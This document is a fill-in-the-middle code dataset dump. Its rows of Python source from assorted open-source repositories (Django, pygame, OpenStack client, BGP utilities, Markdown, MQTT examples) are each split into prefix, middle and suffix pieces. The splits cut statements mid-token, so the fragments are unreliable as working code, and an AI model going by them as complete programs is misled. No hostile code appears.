repo_name
stringlengths
5
100
path
stringlengths
4
231
language
stringclasses
1 value
license
stringclasses
15 values
size
int64
6
947k
score
float64
0
0.34
prefix
stringlengths
0
8.16k
middle
stringlengths
3
512
suffix
stringlengths
0
8.17k
pet1330/strands_qsr_lib
qsr_lib/src/qsrlib_qsrs/qsr_qtc_bc_simplified.py
Python
mit
6,319
0.00364
# -*- coding: utf-8 -*- from __future__ import division from qsrlib_qsrs.qsr_qtc_simplified_abstractclass import QSR_QTC_Simplified_Abstractclass import numpy as np from qsrlib_io.world_qsr_trace import * class QSR_QTC_BC_Simplified(QSR_QTC_Simplified_Abstractclass): """QTCBC simplified relations. Values of ...
"" ret = np.array([])
if len(qtc.shape) == 1: qtc = [qtc] for dist, state in zip(distances, qtc): if dist > distance_threshold: ret = np.append(ret, np.append(state[0:2],[np.nan,np.nan]), axis=0) else: ret = np.append(ret, state, axis=0) return ret.reshap...
willingc/portal
systers_portal/membership/models.py
Python
gpl-2.0
2,497
0
from django.db import models from community.models import Community from membership.constants import ALREADY_MEMBER, JOIN_REQ
UEST_EXISTS, OK from users.models import SystersUser class JoinRequestManager(models.Manager): """Model manager for JoinRequest model""" def create_join_request(self, user, community): """Create a join request by
a user to a community. :param user: SystersUser object :param community: Community object :return: tuple (JoinRequest object, status), where Join Request can be None and status is a string that conveys the result or reason of the operation. """ ...
diagonalwalnut/Experience
lrs/tests/ActivityTests.py
Python
apache-2.0
25,452
0.018505
import base64 import json from django.test import TestCase from django.conf import settings from django.core.urlresolvers import reverse from ..views import register, statements, activities class ActivityTests(TestCase): @classmethod def setUpClass(cls): print "\n%s" % __name__ def setUp(self): ...
qual(st_post.status_code, 200) response = self.client.
get(reverse(activities), {'activityId':'act:foobar'}, Authorization=self.auth, X_Experience_API_Version=settings.XAPI_VERSION) rsp = response.content self.assertEqual(response.status_code, 200) self.assertIn('act:foobar', rsp) self.assertIn('Activity', rsp) self.assertIn('objectT...
silenius/amnesia
amnesia/modules/folder/services.py
Python
bsd-2-clause
3,159
0.00095
import logging from itertools import groupby from sqlalchemy import sql from sqlalchemy import orm from sqlalchemy.types import Integer from amnesia.modules.folder import Folder log = logging.getLogger(__name__) __all__ = ['get_lineage', 'get_children_containers'] class FolderHierarchy: def __init__(self, ...
der, } for f in level_tabs] _merge(level_tabs, sorted_tabs) return sorted_tabs def get_children_contai
ners(dbsession, folder_id, max_depth=None): root = sql.select( Folder, sql.literal(1, type_=Integer).label('level') ).filter( sql.and_( Folder.exclude_nav == False, Folder.container_id == folder_id ) ).cte( name='parents', recursive=True ) fil...
ttm/socialLegacy
tests/rdfFB.py
Python
mit
5,253
0.029888
import social as S, percolation as P, os import importlib importlib.reload(P.rdf) importlib.reload(S.fb) importlib.reload(S.fb.gdf2rdf) importlib.reload(S.fb.gdf2rdf) c=P.utils.check fnames_=[("AdornoNaoEhEnfeite29032013.gdf","AdornoNaoEhEnfeite29032013_interacoes.gdf","265217103529531",0,"https://www.facebook.com/gro...
roups/505090906188661/permalink/733144993383250/","https://www.facebook.com/groups/505090906188661/permalink/733157380048678/"]), ("Latesfip08032014.gdf","Latesfip08032014_interactions.gdf","183557128478424",0,"https://www.facebook.com/groups/183557128478424/permalink/266610616839741/"), ] dpath="../data/fb/gdf/" fp...
fname=fnames[0], fnamei=fnames[1], fpath=fpath, scriptpath=scriptpath, uid=fnames[2], sid=fnames[3], fb_link=fnames[4], ego=False, umbrella_dir...
amirgeva/py2d
engine/keycodes.py
Python
bsd-2-clause
3,668
0
import pygame # EXPORT KeyCodes = { "BACKSPACE": pygame.K_BACKSPACE, "TAB": pygame.K_TAB, "CLEAR": pygame.K_CLEAR, "RETURN": pygame.K_RETURN, "PAUSE": pygame.K_PAUSE, "ESCAPE": pygame.K_ESCAPE, "SPACE": pygame.K_SPACE, "EXCLAIM": pygame.K_EXCLAIM, "QUOTEDBL": pygame.K_QUOTEDBL, ...
6, "F7": pygame.K_F7, "F8": pygame.K_F8, "F9": pygame.K_F9, "F10": pygame.K_F10, "F11": pygame.K_F11, "F12": pygame.K_F12, "F13": pygame.K_F13, "F14": pygame.K_F14, "F15": pygame.K_F15, "NUMLOCK": pygame.K_NUMLOCK, "CAPSLOCK": pygame.K_CAPSLOCK, "SCROLLOCK":
pygame.K_SCROLLOCK, "RSHIFT": pygame.K_RSHIFT, "LSHIFT": pygame.K_LSHIFT, "RCTRL": pygame.K_RCTRL, "LCTRL": pygame.K_LCTRL, "RALT": pygame.K_RALT, "LALT": pygame.K_LALT, "RMETA": pygame.K_RMETA, "LMETA": pygame.K_LMETA, "LSUPER": pygame.K_LSUPER, "RSUPER": pygame.K_RSUPER, "...
markofu/scripts
nmap/nmap/zenmap/radialnet/gui/NodeNotebook.py
Python
gpl-2.0
34,656
0.000087
# vim: set fileencoding=utf-8 : # ***********************IMPORTANT NMAP LICENSE TERMS************************ # * * # * The Nmap Security Scanner is (C) 1996-2013 Insecure.Com LLC. Nmap is * # * also a registered trademark of Insecure.Com LLC. ...
* # * o Executes a helper program, module, or script to do any of the above.
* # * * # * This list is not exclusive, but is meant to clarify our interpretation * # * of derived works with some common examples. Other people may interpret * # * the plain GPL differently, so we consider this a special exception to * # * ...
depet/scikit-learn
sklearn/ensemble/tests/test_base.py
Python
bsd-3-clause
1,229
0
""" Testing for the base module (sklearn.ensemble.base). """ # Authors: Gilles Louppe # License: BSD 3 clause from numpy.testing import assert_equal from nose.tools import assert_raises, assert_true from sklearn.ensemble import BaseEnsemble from sklearn.tree import DecisionTreeClassifier def test_base(): """Ch...
ator = DecisionTreeClassifier() assert_raises
(ValueError, instantiate, class_name=BaseEnsemble, base_estimator=base_estimator, n_estimators=-1)
svbergerem/fefebot
install.py
Python
mit
216
0.00463
#!/usr/bin/env python3.2 import sqlite3 conn = sqlite3.connect('fefe.db') c = conn.cursor() c.
execute("CREATE table posts (id INTEGER PRIMARY KEY, fefeid
TEXT, diasporaid TEXT, post TEXT)") conn.commit() c.close()
moreginger/xbmc-plugin.video.ted.talks
resources/lib/ted_talks_scraper_test.py
Python
gpl-2.0
596
0.013423
from future.standard_library import install_aliases install_aliases() import unittest import urllib.request, urllib.error, urllib.parse from mock import MagicMock from .model.test_util import CachedHTMLProvider from . import ted_talks_scraper class TestTedTalks(unittest.TestCase): def setUp(self): sel...
s("http://www.ted.com/talks/ariel_gar
ten_know_thyself_with_a_brain_scanner.html", "320kbps")
nuagenetworks/tempest
tempest/lib/services/compute/aggregates_client.py
Python
apache-2.0
4,667
0
# Copyright 2013 NEC Corporation. # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required...
validate_response(schema.get_aggregate, resp, body) return rest_c
lient.ResponseBody(resp, body) def create_aggregate(self, **kwargs): """Create a new aggregate. Available params: see http://developer.openstack.org/ api-ref-compute-v2.1.html#createaggregate """ post_body = json.dumps({'aggregate': kwargs}) re...
grhawk/ASE
tools/ase/gui/constraints.py
Python
gpl-2.0
1,497
0.001336
from math import sqrt import gtk from gettext import gettext as _ from ase.gui.widgets import pack, Help class Constraints(gtk.Window): def __init__(self, gui): gtk.Window.__init__(self) self.set_title(_('Constraints')) vbox = gtk.VBox() b = pack(vbox, [gtk.Button(_('Constrain'))...
k.Button(_('Constrain')), gtk.Label(_(' immobile atoms:'))])[0] b.connect('clicked', self.immobile) b = pack(vbox, [gtk.Button(_('Unconstrain')), gtk.Label(_(' selected atoms:'))])[0] b.connect('clicked', self.unconstrain) b = pack(vbox, gt...
clicked', self.clear) close = pack(vbox, gtk.Button(_('Close'))) close.connect('clicked', lambda widget: self.destroy()) self.add(vbox) vbox.show() self.show() self.gui = gui def selected(self, button): self.gui.images.dynamic[self.gui.images.selected] = Fals...
DFilyushin/pydgen
prog.py
Python
gpl-2.0
967
0.004137
__author__ = 'Filushin_DV' import gener
ators import tables import profiler from faker import Factory date_start = '01/01/2015' date_end = '06/06/2015' citys = [] faker = Factory.create() for i in range(100): citys.append(faker.city()) valid_parents = (10, 2, 3) field_list = [] field_list.append(tables.GenField('id', 'int', 1, 1000)) field_list.appen...
1, *valid_parents)) field_list.append(tables.GenField('name', 'str', 1, 5, *citys)) field_list.append(tables.GenField('is_delete', 'int', 0, 1)) field_list.append(tables.GenField('added', 'date', '01/01/2015', '06/06/2015')) field_list.append(tables.GenField('edited', 'datetime', '01/01/2015', '06/06/2015')) table = t...
gberthou/raiders
systems.py
Python
gpl-3.0
12,634
0.004828
import ecs import raidersem import components as comp import constants as cst import utils import assets import math from sfml import sf ### Graphics ### class DrawMap(ecs.System): def __init__(self, window, mapObstacles, rs): self.window = window self.mapObstacles = mapObstacles self.rs ...
, 128) self.window.draw(portrait) if not emptySlot: text.string = allies[i].component(comp.Fighter).name[0] text.origin = (text.global_bounds.width / 2, text.global_bounds.height / 2) text.position = (portrait.position.x + cst.PORTRAIT_NORMAL_SIZ...
.PORTRAIT_NORMAL_SIZE / 2) self.window.draw(text) class DrawFPS(ecs.System): def __init__(self, window, rs): self.window = window self.rs = rs self.sum_dt = 0 self.num_dt = 0 self.old_fps = "60" def update(self, em, eventManager, dt): self.sum_dt...
krisss2121/bpmn-python
bpmn_python/bpmn_diagram_visualizer.py
Python
gpl-3.0
4,166
0.003841
# coding=utf-8 """ BPMN diagram visualization methods """ import matplotlib.pyplot as plt import networkx as nx import pydotplus import bpmn_python.bmpn_python_consts as consts from networkx.drawing.nx_pydot import write_dot def visualize_diagram(bpmn_diagram): """ Shows a simple visualization of diagram ...
elist=bpmn_diagram.get_nodes_id_list_by_type(consts.Consts.inclusive_gateway)) nx.draw_networkx_nodes(g, pos, node_shape='d', node_color='white',
nodelist=bpmn_diagram.get_nodes_id_list_by_type(consts.Consts.exclusive_gateway)) nx.draw_networkx_nodes(g, pos, node_shape='d', node_color='white', nodelist=bpmn_diagram.get_nodes_id_list_by_type(consts.Consts.parallel_gateway)) nx.draw_networkx_nodes(g, pos, nod...
vilemnovak/blendercam
scripts/addons/cam/nc/emc2tap.py
Python
gpl-2.0
2,892
0.013831
from . import nc from . import iso_codes from . import emc2 class CodesEMC2(iso_codes.Codes): def SPACE(self): return(' ') def TAP(self): return('G33.1') def TAP_DEPTH(self, forma
t, depth): return(self.SPACE() + 'K' + (format % depth)) # This version of COMMENT removes comments from the resultant GCode #def COMMENT(self,comment): return('') iso_codes.codes = CodesEMC2() class CreatorEMC2tap(emc2.CreatorEMC2): def init(self): iso.CreatorEMC2.init(self)
# G33.1 tapping with EMC for now # unsynchronized (chuck) taps NIY (tap_mode = 1) def tap(self, x=None, y=None, z=None, zretract=None, depth=None, standoff=None, dwell_bottom=None, pitch=None, stoppos=None, spin_in=None, spin_out=None, tap_mode=None, direction=None): # mystery parameters: #...
musicpax/funcy
funcy/decorators.py
Python
bsd-3-clause
9,692
0.003405
import sys import inspect from functools import partial __all__ = ['decorator', 'wraps', 'unwrap', 'ContextDecorator', 'contextmanager'] def decorator(deco): # Any arguments after first become decorator arguments has_args = get_argcounts(deco) != (1, False, False) if has_args: # A decorator wit...
hrow(). This prevents a StopIteration # raised inside the "with" statement from being suppressed return exc is not value except: # only re-raise if it's *not* the exception that was # passed to throw(), because __exit__() m...
o this # fixes the impedance mismatch between the throw() protocol # and the __exit__() protocol. # if sys.exc_info()[1] is not value: raise def contextmanager(func): """ A decorator helping to ...
mathstuf/tangelo
tests/web/echo.py
Python
apache-2.0
462
0
# This service simply echoe
s back the URL-encoded arguments passed to it. def run(*pargs, **kwargs): response = "" # Dump the positional arguments. if len(pargs) > 0: response += "[" + ", ".join(pargs) + "]" # Dump the keyword arguments. for k in kwargs: response += "\n%s -> %s" % (k, kwargs[k]) # Send ...
se else: return "(No arguments passed)"
mpi-sws-rse/antevents-python
examples/event_library_comparison/asyncawait.py
Python
apache-2.0
4,667
0.005357
"""This version uses the async and await calls. """ from statistics import median import json import asyncio import random import time import hbmqtt.client from antevents.base import SensorEvent URL = "mqtt://localhost:1883" class RandomSensor: def __init__(self, sensor_id, mean=100.0, stddev=20.0, stop_after_ev...
er(URL, sensor.sensor_id, event_loop) def loop(): coro = sampl
e_and_process(sensor, writer, transducer) task = event_loop.create_task(coro) def done_callback(f): exc = f.exception() if exc: raise exc elif f.result()==False: print("all done, no more callbacks to schedule") event_loop.stop() else: ...
Reimilia/pdb_sth
mapping/prepare_dpf4.py
Python
mit
7,081
0.009321
#!/usr/bin/env python # # # # $Header: /opt/cvs/python/packages/share1.5/AutoDockTools/Utilities24/prepare_dpf4.py,v 1.14.4.1 2011/12/01 17:16:33 rhuey Exp $ # import string import os.path from MolKit import Read from AutoDockTools.DockingParameters import DockingParameters, DockingParameter4FileMaker, genetic_algori...
0 elif key=='include_1_4_in
teractions_flag': kw['include_1_4_interactions'] = 1 elif 'flag' in key: if newvalue in ['1','0']: newvalue = int(newvalue) if newvalue =='False': newvalue = False if newvalue =='True': newvalue = True elif l...
jamesgk/ufo2fdk
tests/featureWriters/kernFeatureWriter_test.py
Python
mit
35,446
0.00031
import logging from textwrap import dedent import pytest from ufo2ft.errors import InvalidFeaturesData from ufo2ft.featureCompiler import parseLayoutFeatures from ufo2ft.featureWriters import KernFeatureWriter, ast from . import FeatureWriterTest def makeUFO(cls, glyphMap, groups=None, kerning=None, features=None)...
-20, ("public.kern1.C", "public.kern2.B"): 20, } ufo = FontClass() exclude = {"Abreve", "D", "foobar"} for glyphs in groups.values(): for glyph in glyphs: if glyph in exclude: continue ufo.newGlyph(glyph) ...
tureWriter() feaFile = parseLayoutFeatures(ufo) writer.write(ufo, feaFile) classDefs = getClassDefs(feaFile) assert len(classDefs) == 2 assert classDefs[0].name == "kern1.A" assert classDefs[1].name == "kern2.B" assert getGlyphs(classDefs[0]) == ["A", "Aacute", "...
roadmapper/ansible
lib/ansible/modules/cloud/azure/azure_rm_keyvaultsecret.py
Python
gpl-3.0
7,639
0.001833
#!/usr/bin/python # Copyright: Ansible Project # GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt) from __future__ import absolute_import, division, print_function __metaclass__ = type ANSIBLE_METADATA = {'metadata_version': '1.1', 'status': ['preview'], ...
def auth_callback(server, resource, scope): if self.credentials['client_id'] is None or self.credentials['secret'] is None: self.fail('Please specify client_id, secret and tenant to access azure Key Vault.') t
enant = self.credentials.get('tenant') if not self.credentials['tenant']: tenant = "common" authcredential = ServicePrincipalCredentials( client_id=self.credentials['client_id'], secret=self.credentials['secret'], tenant=tenant, ...
gpospelov/BornAgain
Examples/specular/BeamFullDivergence.py
Python
gpl-3.0
2,359
0
""" An example of taking into account beam angular and wavelength divergence in reflectometry calculations with BornAgain. """ import bornagain as ba # input parameters wavelength = 1.54*ba.angstrom alpha_i_min = 0.0*ba.deg # min incident angle, deg alpha_i_max = 2.0*ba.deg # max incident angle, rad # convolution ...
, 0.0) vacuum_layer = ba.Layer(m_vacuum) ni_layer = ba.Layer(m_ni, d_ni) ti_layer = ba.Layer(m_ti, d_ti) substrate_layer
= ba.Layer(m_substrate) multi_layer = ba.MultiLayer() multi_layer.addLayer(vacuum_layer) for i in range(n_repetitions): multi_layer.addLayer(ti_layer) multi_layer.addLayer(ni_layer) multi_layer.addLayer(substrate_layer) return multi_layer def get_simulation(sample, scan_size=500): ...
b-cube/restparql
api/resources/predicates.py
Python
gpl-3.0
584
0.005137
from flask_restful import Resource from flask import g, Response class PredicatesHandler(Resource): def get(self, graph): """
:return: All the predicates ?p used in the triples stored in all the graphs """ query = """SELECT DISTINCT ?predicate WHERE { GRAPH <%s> { ?s ?predicate ?o . } } """ % graph res = g.db.query(query) if res is None: ...
s['bindings']
s390guy/SATK
tools/bfp_float.py
Python
gpl-3.0
4,854
0.016275
#!/usr/bin/python3 # Copyright (C) 2016 Harold Grovesteen # # This file is part of SATK. # # SATK is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your ...
s,e,f=self.float2number(src) elif isinstance(src,tuple) and len(src)==3: s,e,f=src else: raise ValueError(\ "%s 'src' must be either a float or tuple of length 3: %s" \ % (fp.
eloc(self,"__init__",module=this_module),src)) super().__init__(s,e,f,2) def __str__(self): return "sign:%s integer:%s frac:%s exp:%s" \ % (self.sign,self.integer,self.frac,self.exp) # This class uses the Python float object to create a BFP value in its interchange # format. Present...
xingjian-f/Leetcode-solution
66. Plus One.py
Python
mit
232
0.008621
class Solution(object): def plusOne(self, digits): """ :type digits: List[int] :rtype: List[int] """ return [int(i) fo
r i in str(int(''.join(map(str
, digits)))+1)] Solution().plusOne([0])
pyk/rojak
rojak-pantau/rojak_pantau/items.py
Python
bsd-3-clause
375
0.005333
# -*- coding: utf-8 -*- # Define here the models for yo
ur scraped items # # See documentation in: # http://doc.scrapy.org/en
/latest/topics/items.html import scrapy class News(scrapy.Item): url = scrapy.Field() title = scrapy.Field() author_name = scrapy.Field() raw_content = scrapy.Field() published_at = scrapy.Field() media_id = scrapy.Field()
ool2016-seclab/quarantineSystem
ryu/services/protocols/bgp/utils/bgp.py
Python
mit
5,129
0
# Copyright (C) 2014 Nippon Telegraph and Telephone Corporation. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by appli...
ath.pathattr_map, nexthop=path.nexthop, is_withdraw=path.is_withdraw) def from_inet
_ptoi(bgp_id): """Convert an IPv4 address string format to a four byte long. """ four_byte_id = None try: packed_byte = socket.inet_pton(socket.AF_INET, bgp_id) four_byte_id = int(packed_byte.encode('hex'), 16) except ValueError: LOG.debug('Invalid bgp id given for conversion...
openstack/python-openstackclient
openstackclient/volume/v1/volume.py
Python
apache-2.0
22,100
0
# Copyright 2012-2013 OpenStack Foundation # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable la...
olumes.create( parsed_args.size, snapshot, source_volume, parsed_args.name, parsed_args.description, parsed_args.type, user, project, parsed_args.availability_zone, parsed_args.proper
ty, image, ) if parsed_args.bootable or parsed_args.non_bootable: try: volume_client.volumes.set_bootable( volume.id, parsed_args.bootable) except Exception as e: LOG.error(_("Failed to set volume bootable property:...
D-K-E/cltk
src/cltk/tag/treebanks.py
Python
mit
1,796
0.001114
"""Generate a Python dict from input tags from a treebank, in str. As of this version, only treebanks following the Penn notation are supported. """ def set_path(dicts, keys, v): """Helper function for modifying nested dictionaries :param dicts: dict: the given dictionary :param keys: list str: path to a...
ef parse_treebanks(st): """Returns the corresponding tre
e of the treebank, in the form of a nested dictionary :param st: str: treebank using Penn notation """ d = dict() for path in get_paths(st): set_path(d, path[:-1], path[-1]) return d
amplab/ampcrowd
ampcrowd/basecrowd/interface.py
Python
apache-2.0
12,316
0.000974
import json import uuid from django.core.urlresolvers import reverse from models import CrowdModelSpecification # Required implementation for a new crowd type class CrowdInterface(object): def __init__(self, crowd_name): self.crowd_name = crowd_name @staticmethod def validate_configuration(conf...
request dictionary request_data = request.GET if request.method == 'GET' else request.POST return { 'task_id': request_data.get('task_id', None), 'worker_id': request_data.get('worker_id', None), 'assignment_id': request_data.get('assignment_id', None), '...
ker_object): """ Process new worker objects before they are saved to the DB. `worker_object` will be an UNSAVED object of the `worker_model` class according to this crowd's model specification. Its worker_id field will be set according to the context provided by `get_assignment_context`...
lethain/lifeflow
markdown/markdown.py
Python
mit
60,664
0.005473
#!/usr/bin/env python version = "1.7" version_info = (1,7,0,"rc-1") __revision__ = "$Rev: 66 $" """ Python-Markdown =============== Converts Markdown to HTML. Basic usage as a module: import markdown md = Markdown() html = md.convert(your_text_string) See http://www.freewisdom.org/projects/python-mark...
xt): self.text = text def handleAttributes(self): pass def toxml (self): return "<![CDATA[" + self.text + "]]>" class Element: type = "element" def __init__ (self, tag): self.nodeName = tag self.attributes = [] self.attribute_values = {} self...
f.bidi or self.isDocumentElement: # Once the bidi is set don't change it (except for doc element) self.bidi = bidi self.parent.setBidi(bidi) def unlink(self): for child in self.childNodes: if child.type == "element": child.unlink(...
rafelafrance/boyd-bird-journal
lib/horizontal_lines.py
Python
mit
850
0
"""Contains logic that is unique to the horizontal grid lines.""" from lib.grid_lines import GridLines class Horizontal(GridLines): """Contains logic that is unique to the horizontal grid lines.""" def __init__(self, image): """Build horizontal grid lines.""" super()._
_init__(image) self.size = image.shape[1] self.thetas = self.near_horiz self.threshold = self.size * 0.4 def insert_line(self, from_this_line, distance=-50): """Insert a horizontal grid line relative to another line.""" point1 = [0, from_this_line[
0][1] + distance] point2 = [self.size, from_this_line[1][1] + distance] self.add_line(point1, point2) @staticmethod def sort_key(key): """Horizontal lines are sorted by their distance on the y-axis.""" return key[0][1]
alphaKAI/mal
rpython/step3_env.py
Python
mpl-2.0
3,570
0.006443
#import sys, traceback import mal_readline import mal_types as types from mal_types import (MalSym, MalInt, MalStr, _symbol, _keywordu, MalList, _list, MalVector, MalHashMap, MalFunc) import reader, printer from env import Env # read def READ(str): return reader.read_s...
= 0: return ast a0 = ast[0]
if not isinstance(a0, MalSym): raise Exception("attempt to apply on non-symbol") if u"def!" == a0.value: a1, a2 = ast[1], ast[2] res = EVAL(a2, env) return env.set(a1, res) elif u"let*" == a0.value: a1, a2 = ast[1], ast[2] let_env ...
jiajiechen/mxnet
example/autoencoder/model.py
Python
apache-2.0
2,838
0.000705
# Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not u...
in zip(exe.outputs, output_buffs): out.copyto(buff) for out, buff in zip(outputs, output_buffs): out.append(buff.asnumpy()) outputs = [np.concatenate(i, axis=0)[:N] for i in outputs] return dict(zip(sym.list_outputs(), outputs)) cla
ss MXModel(object): def __init__(self, xpu=mx.cpu(), *args, **kwargs): self.xpu = xpu self.loss = None self.args = {} self.args_grad = {} self.args_mult = {} self.auxs = {} self.setup(*args, **kwargs) def save(self, fname): args_save = {key: v.asn...
slaughterjames/static
modules/malware_bazaar_search.py
Python
gpl-2.0
5,588
0.012885
#python imports import sys import os import time import datetime import subprocess import json import requests from termcolor import colored #third-party imports #No third-party imports #programmer generated imports from logger import logger from fileio import fileio ''' ***BEGIN DESCRIPTION*** Type: Search - Descri...
try: #Open the file we just downloaded
print ('[-] Reading Malware Bazaar file: ' + output.strip()) with open(output.strip(), 'rb') as read_file: data = json.load(read_file, cls=None) read_file.close() # Check what kind of results we have query_status = data["query_status"] print ('[*] que...
bharling/django-pint
sandbox/example_app/apps.py
Python
mit
153
0
from __future__ import
unicode_literals from django.apps import AppConfig class QuantityfieldTestsConfig(AppConfig): name = 'quantityfie
ld_tests'
ClockworkNet/OpScripts
setup.py
Python
mit
2,971
0
# vim: set fileencoding=utf-8 : """python-opscripts setup """ # Standard library from __future__ import absolute_import, division, print_function import os.path import re import site import sys import glob # Third-party from setuptools import find_packages, setup setup_path = os.path.dirname(os.path.realpath(__fil...
"License :: OSI Approved :: MIT License", "Natural Language :: English", "Operating System :: POSIX :: Linux", "Programming Language :: Python :: 2", "Programming Language :: Python :: 2.6", "Programming Language :: Python :: 2.7", ...
mming Language :: Python :: 3.4", "Programming Language :: Python :: Implementation :: CPython", "Topic :: Software Development :: Libraries :: Python Modules", "Topic :: System :: Systems Administration"] packages = find_packages() # Install config file appropriately docs...
vipmunot/Data-Analysis-using-Python
SQL and Databases Begineer/Working with a SQLite database/growth.py
Python
mit
562
0.017794
import sqlite3 conn = sqlite3.connect('factbook.db') import pandas as pd import math df = pd.read_sql_query('select * from facts;', conn) conn.close() print(df.shape) df
= df.dropna() print(df.shape) def growth(population,growth_rate): N = population * pow(math.e,(growth_rate /100)*35) return N pop = [] for index,row in df.iterrows(): pop.append(growth(row['population'],row['population_growth'])) df['2050_population'] = pop pop_205
0 = df.sort_values(by='2050_population', ascending=0) print(df.sort_values(by='2050_population', ascending=0)[:10])
CharLLCH/jianchi_alimobileR
util/item.py
Python
gpl-2.0
2,982
0.017895
#!/usr/bin/python #coding=utf-8 ''' ************************** * File Name :item.py * Author:Charlley88 * Mail:charlley88@163.com ************************** ''' ''' # 类似于user是一个用户所有数据的类,这是一条记录的类 灵活转变,方便存储db等 读一条是读,转化成类还可以方便定义一些操作函数! ''' from datetime import datetime class item: __slots__ = ['user...
t_field_dict(self): #fields = ['u_id', 'i_id', 'b_type','u_geo','i_cat'] fields = ['i_cat'] f_dict = dict.fromkeys(fields,0)
#f_dict['u_geo'] = self.user_geohash f_dict['i_cat'] = self.item_category return f_dict # 自身的dict内容有待考虑 def new_feat(self): fields = ['u_geo','i_cat','week','hour','click'] f_dict = dict.fromkeys(fields,0) f_dict['u_geo'] = self.user_geohash f_dict['i_cat'] = s...
allo-/django-bingo
bingo/context_processors.py
Python
agpl-3.0
2,452
0.000816
from django.utils.translation import ugettext as _ from django.conf import settings from django.contrib.staticfiles.storage import staticfiles_storage from django.contrib.sites.shortcuts import get_current_site from .config import Config static_url = staticfiles_storage.url DEFAULT_THEMES = ( ('Dark', 'bingo/the...
l': polling_interval, 'polling_interval_sse': polling_interval_sse, 'absolute_uri': absolute_uri, 'http_host': host, 'http_scheme': sch
eme, 'site_title': site_name, 'config': config } for key, value in list(themes(request).items()): items[key] = value return items
iSuneast/p2p_vod
p2p_vod.linux_win/py/make_cmd_parser.py
Python
mit
4,103
0.003168
__author__ = 'wbtang' import log_base cmd_ini = log_base.file_parser_ini class_name = 'CommandLineParser' parser_name = 'Parser' parser = [] debuger = [] accessors = [] members = [] default_value = [] def compress(data, num_tabs): tab = '' for i in range(num_tabs): tab += '\t' all = '' for l...
bool ToBool (const char *str) { retur
n strcmp(str, "true") == 0; } static string ToString (const char *str) { string ret = str; if ( ret[0] == '"' ) { return ret.substr(1, ret.length()-2); } else { return ret; } } // // MEMBERS // %s }; // // DEFAULT VALUE // %s // -------------END OF...
AsgerPetersen/QGIS
tests/src/python/test_qgsjsonutils.py
Python
gpl-2.0
19,662
0.00117
# -*- coding: utf-8 -*- """QGIS Unit tests for QgsJSONUtils. .. note:: This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. """ __au...
feature = QgsFeature(fields, 5) expected = "{}" self.assertEqual(QgsJSONUtils.exportAttributes(feature), expected) # test feature with attributes fields.append(QgsField("name", QVariant.String)) fields.append(QgsField("cost", QVariant.Double)) fields.append(QgsField(...
setGeometry(QgsGeometry(QgsPointV2(5, 6))) feature.setAttributes(['Valsier Peninsula', 6.8, 198]) expected = """{"name":"Valsier Peninsula", "cost":6.8, "population":198}""" self.assertEqual(QgsJSONUtils.exportAttributes(feature), expected) def testJSONExporter(self): """ test conv...
BrainTech/openbci
obci/utils/streaming_debug.py
Python
gpl-3.0
2,136
0.00515
#!/usr/bin/env python # # Author: # Mateusz Kruszynski <mateusz.kruszynski@gmail.com> """ Use to debug real-life streaming modules like: - amplifier - streamer - filter See signal_streamer_no_filter.py for sample use. """ import time class Debug(object): def __init__(self, p_sampling, logger, per=1): ...
e)/float(self.num_of_samples))])) self.last_pack_first_sample_ts = time.time() def next_sample_timestamp(self, sample_timestamp): if self.num_of_samples == 0: self.first_sample_timestamp = sample_timestamp self.num_of_samples += 1 rest = self.num_of_samples % self.sa...
ples / all avg: ", str(sample_timestamp - self.first_st_in_pack), ' / ', str(self.sampling*(sample_timestamp - self.first_sample_timestamp)/float(self.num_of_samples))])) elif rest == 1: self.first_st_in_pack = sample_timestamp ...
joopert/home-assistant
homeassistant/components/device_tracker/setup.py
Python
apache-2.0
6,277
0.000478
"""Device tracker helpers.""" import asyncio from typing import Dict, Any, Callable, Optional from types import ModuleType import attr from homeassistant.core import callback from homeassistant.setup import async_prepare_setup_platform from homeassistant.helpers import config_per_platform from homeassistant.exception...
f.platform, meth): return platform_type return None async def async_setup_legacy(self, hass, tracker, discovery_info=None): """Set up a legacy platform.""" LOGGER.info("Setting up %s.%s", DOMAIN, self.type) try: scanner = None setup = Non...
elif hasattr(self.platform, "get_scanner"): scanner = await hass.async_add_job( self.platform.get_scanner, hass, {DOMAIN: self.config} ) elif hasattr(self.platform, "async_setup_scanner"): setup = await self.platform.async_setu...
jmoiron/iris
iris/shell.py
Python
mit
3,895
0.004108
#!/usr/bin/env python # -*- coding: utf-8 -*- """A command shell specifically for iris with a special purpose SQL-like query language. """ import readline import cmd from iris import version from iris import backend from iris.utils import color, bold,
white, green, red from iris.query import parser, completion import logging logger = logging.getLogger("lepl") logger.setLevel(logging.CRITICAL) def dbg(func): def wrapped(*args): print '<<%s: %s>>' % (func.__name__, '::'.join(args)) return func(*args) return wrapped def print_exceptions(fun...
traceback print '' traceback.print_exc() return wrapped # --- perform queries based on various parsed statements def find(query): """Perform a 'find' based on a shell query.""" if isinstance(query, basestring): query = parser.FindStatement(query) spec = query.spec p...
draios/tracers-py
sysdig_tracers.py
Python
gpl-2.0
5,463
0.013912
# Copyright (C) 2016 Sysdig inc. # All rights reserved # Author: Luca Marturana (luca@sysdig.com) import os import traceback from inspect import isfunction import sys import functools # ensure file descriptor will be closed on execve O_CLOEXEC = 524288 # cannot use octal because they have different syntax on python2...
t them only once self.function_calls += 1 res = self.wrapped_func(*args, **kwds) self.f
unction_calls -= 1 if self.function_calls == 0: exit_args = {} for key, value in self.exit_args.items(): if value == ReturnValue: exit_args[key] = res elif isinstance(value, str): exit_args[key] = value self.__emit_trace("<", exit_args) re...
foursquare/pants
contrib/python/src/python/pants/contrib/python/checks/tasks/checkstyle/import_order.py
Python
apache-2.0
7,166
0.010885
